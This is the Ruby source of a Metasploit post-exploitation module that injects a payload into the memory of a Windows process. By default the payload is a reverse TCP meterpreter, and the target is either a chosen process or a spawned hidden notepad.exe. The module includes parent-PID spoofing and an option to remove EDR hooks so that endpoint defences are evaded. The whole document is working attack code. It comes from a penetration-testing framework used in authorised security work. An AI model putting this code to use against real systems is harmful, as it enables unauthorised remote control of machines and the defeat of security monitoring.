## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core/exploit/exe' class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking include Msf::Post::Windows::Process include Msf::Module::Deprecated moved_from 'post/windows/manage/payload_inject' def initialize(info={}) super( update_info( info, 'Name' => 'Windows Manage Memory Payload Injection', 'Description' => %q{ This module will inject a payload into memory of a process. If a payload isn't selected, then it'll default to a reverse x86 TCP meterpreter. If the PID datastore option isn't specified, then it'll inject into notepad.exe instead. }, 'License' => MSF_LICENSE, 'Author' => [ 'Carlos Perez ', 'sinn3r' ], 'Platform' => [ 'win' ], 'Arch' => [ ARCH_X86, ARCH_X64 ], 'SessionTypes' => [ 'meterpreter' ], 'Targets' => [ [ 'Windows', {} ] ], 'DefaultTarget' => 0, 'DisclosureDate' => "Oct 12 2011" )) register_options( [ OptInt.new('PID', [false, 'Process Identifier to inject of process to inject payload. 0=New Process', 0]), OptInt.new('PPID', [false, 'Process Identifier for PPID spoofing when creating a new process. (0 = no PPID spoofing)', 0]), OptBool.new('AUTOUNHOOK', [false, 'Auto remove EDRs hooks', false]), OptInt.new('WAIT_UNHOOK', [true, 'Seconds to wait for unhook to be executed', 5]) ]) end # Run Method for when run command is issued def exploit @payload_name = datastore['PAYLOAD'] @payload_arch = ARCH_X86 payload_arch_old = framework.payloads.create(@payload_name).arch.first # convert the old style archetecture to the new style @payload_arch = ARCH_X64 if payload_arch_old.include?('64') vprint_status("Client Arch = #{client.arch}") vprint_status("Payload Arch = #{@payload_arch}") # prelim checks if client.arch == ARCH_X86 and @payload_arch == ARCH_X64 fail_with(Failure::BadConfig, "Cannot inject a 64-bit payload into any process on a 32-bit OS") end # syinfo is only on meterpreter sessions print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil? if datastore['PPID'] != 0 and datastore['PID'] != 0 print_error("PID and PPID are mutually exclusive") return false end proc = get_proc(datastore['PID']) if not proc print_error("Unable to get a proper PID") return end if datastore['PPID'] != 0 and not has_pid?(datastore['PPID']) print_error("Process #{datastore['PPID']} was not found") return false elsif datastore['PPID'] != 0 print_status("Spoofing PPID #{datastore['PPID']}") end unless arch_check(@payload_arch, proc.pid) fail_with(Failure::BadConfig, "Mismatched payload/process architecture") end if datastore['AUTOUNHOOK'] print_status("Executing unhook") print_status("Waiting #{datastore['WAIT_UNHOOK']} seconds for unhook Reflective DLL to be executed...") unless inject_unhook(proc, @payload_arch, datastore['WAIT_UNHOOK']) fail_with(Failure::BadConfig, "Unknown target arch; unable to assign unhook dll") end end print_status("Injecting payload into #{proc.pid}") begin inject_into_pid(proc.pid) rescue ::Exception => e print_error("Failed to inject Payload to #{pid}!") print_error(e.to_s) end end # Figures out which PID to inject to def get_proc(pid) if pid == 0 notepad_pathname = get_notepad_pathname(@payload_arch, client.sys.config.getenv('windir'), client.arch) vprint_status("Starting #{notepad_pathname}") proc = client.sys.process.execute(notepad_pathname, nil, { 'Hidden' => datastore['HIDDEN'], 'ParentPid' => datastore['PPID'] }) if proc.nil? print_bad("Failed to start notepad process") else print_status("Spawned Notepad process #{proc.pid}") end else if not has_pid?(pid) print_error("Process #{pid} was not found") return nil end proc = client.sys.process.open(pid.to_i, PROCESS_ALL_ACCESS) if proc.nil? print_bad("Failed to start notepad process") else print_status("Opening existing process #{proc.pid}") end end return proc end def inject_into_pid(pid) vprint_status("Performing Architecture Check") return if not arch_check(@payload_arch, pid) begin print_status("Preparing '#{@payload_name}' for PID #{pid}") raw = payload.encoded execute_shellcode(raw, nil, pid) rescue Rex::Post::Meterpreter::RequestError => e print_error("Unable to inject payload:") print_line(e.to_s) end end end